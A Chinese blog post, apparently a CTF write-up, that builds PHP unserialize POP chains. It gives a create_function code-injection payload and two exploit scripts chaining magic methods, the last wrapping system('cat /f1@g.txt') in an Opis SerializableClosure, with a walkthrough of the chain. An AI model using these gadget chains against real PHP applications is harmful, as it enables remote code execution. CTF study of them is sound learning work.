赞
踩
<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; public function __toString(){ $this->show(); return "<br>"."Nice Job!!"."<br>"; } } $a = new A; $b = new B; $b->func = "create_function"; $b->arg = "}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//"; #$b->arg = "}var_dump(get_defined_vars());//"; $a->var = $b; print(serialize($a));
Pop链构造没啥好说的,后面代码注入,就是之前题改的
createfunction()代码注入
和https://blog.csdn.net/weixin_39924779/article/details/113330709 的Yii2(2.0.39.3)反序列化链挺像的应该就是魔改了下。
先放exp,不过我只能打出个phpinfo,卡在这不知道该干嘛了,链子的最后call_user_func
那第二个参数被写死了。有没有师傅教教该咋整,网上还没找到wp。
已经有师傅给了方法了,修改了下原来的exp补在本文最后部分
Exp:
<?php namespace Method\Func{ class GenerateFile{ public $flag = "myTest"; protected $buffer; public function __construct(){ $this->source->generate = "phpinfo"; } } class GetDefault{ private $source; public function __construct(){ $this->source = new GenerateFile(); } } class GetFile{ private $flag; private $files = []; public $value; public function __construct(){ $this->flag = new GetDefault(); $this->value = "test"; } } } namespace Faker{ use Method\Func\GetFile; class MyGenerator{ protected $defaultValue; public function __construct(){ $this->defaultValue = new GetFile(); } } } namespace Control\State{ use Faker\MyGenerator; class StopHook{ protected $processes; public function __construct(){ $this->processes = [new MyGenerator()]; } } } namespace{ echo base64_encode(serialize(new Control\State\StopHook())); } ?>
下面是pop链分析:
Index.php找到序列化入口,寻找__construct
或者__destruct
方法,\class\Control\State\StopHook.php,存在可被利用的__destruct
方法
用$process->stop()
通常可触发__call
,\class\Faker\MyGenerator.php
存在__call
,其内部还有echo可以去触发__toString
可能是构造序列化链子里有私有变量,导致__get
会和__call
一并被触发。变量defaultValue的值也就能到未定义的变量defaultCall那了(值传递是猜的具体也没搞明白咋过去的,本地试了下__get
和__call
去掉哪个都不行)
再下面的路就很清晰了
class\Method\Func\GetFile.php
__isset()
,当对不可访问属性调用isset()
,这里刚好有一个
class\Method\Func\GetDefault.php $s($length)
这种形式的可以触发__invoke
class\Method\Func\GenerateFile.php
到达函数执行点,很可惜这里第二个参数被写死了。不知道做出来的大佬是咋整的,还是说我挖错链子了?
Exp:
<?php namespace Method\Func{ use Opis\Closure\SerializableClosure; class GenerateFile{ public $flag = "myTest"; protected $buffer; public function __construct(){ $this->source->generate = new SerializableClosure(function ($arg) { return system("cat /f1@g.txt"); }); } } class GetDefault{ private $source; public function __construct(){ $this->source = new GenerateFile(); } } class GetFile{ private $flag; private $files = []; public $value; public function __construct(){ $this->flag = new GetDefault(); $this->value = "test"; } } } namespace Faker{ use Method\Func\GetFile; class MyGenerator{ protected $defaultValue; public function __construct(){ $this->defaultValue = new GetFile(); } } } namespace Control\State{ use Faker\MyGenerator; class StopHook{ protected $processes; public function __construct(){ $this->processes = [new MyGenerator()]; } } } namespace{ require "./vendor/autoload.php"; echo base64_encode(serialize(new Control\State\StopHook())); } ?>
如果报错的话composer require opis/closure
先引入该组件,在题目源码文件夹里的话require "closure/autoload.php";
直接这样就行 和index.php放在同一级
tp6.0以及Laravel8的相关漏洞利用里面都有用到这个类
https://blog.csdn.net/weixin_34211615/article/details/115086543
https://www.bbsmax.com/A/o75N6KWK5W/
call_user_func
那去触发SerializableClosure
这个方法里面的__invoke
,配合closure闭包类对象,其中封装的匿名函数功能是自定义的。
但闭包是不可序列化的,尝试序列化闭包将导致异常,克服这个问题的解决方案是将闭包包装成一个Opis\Closure\SerializableClosure 对象,然后使用标准的serialize.
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。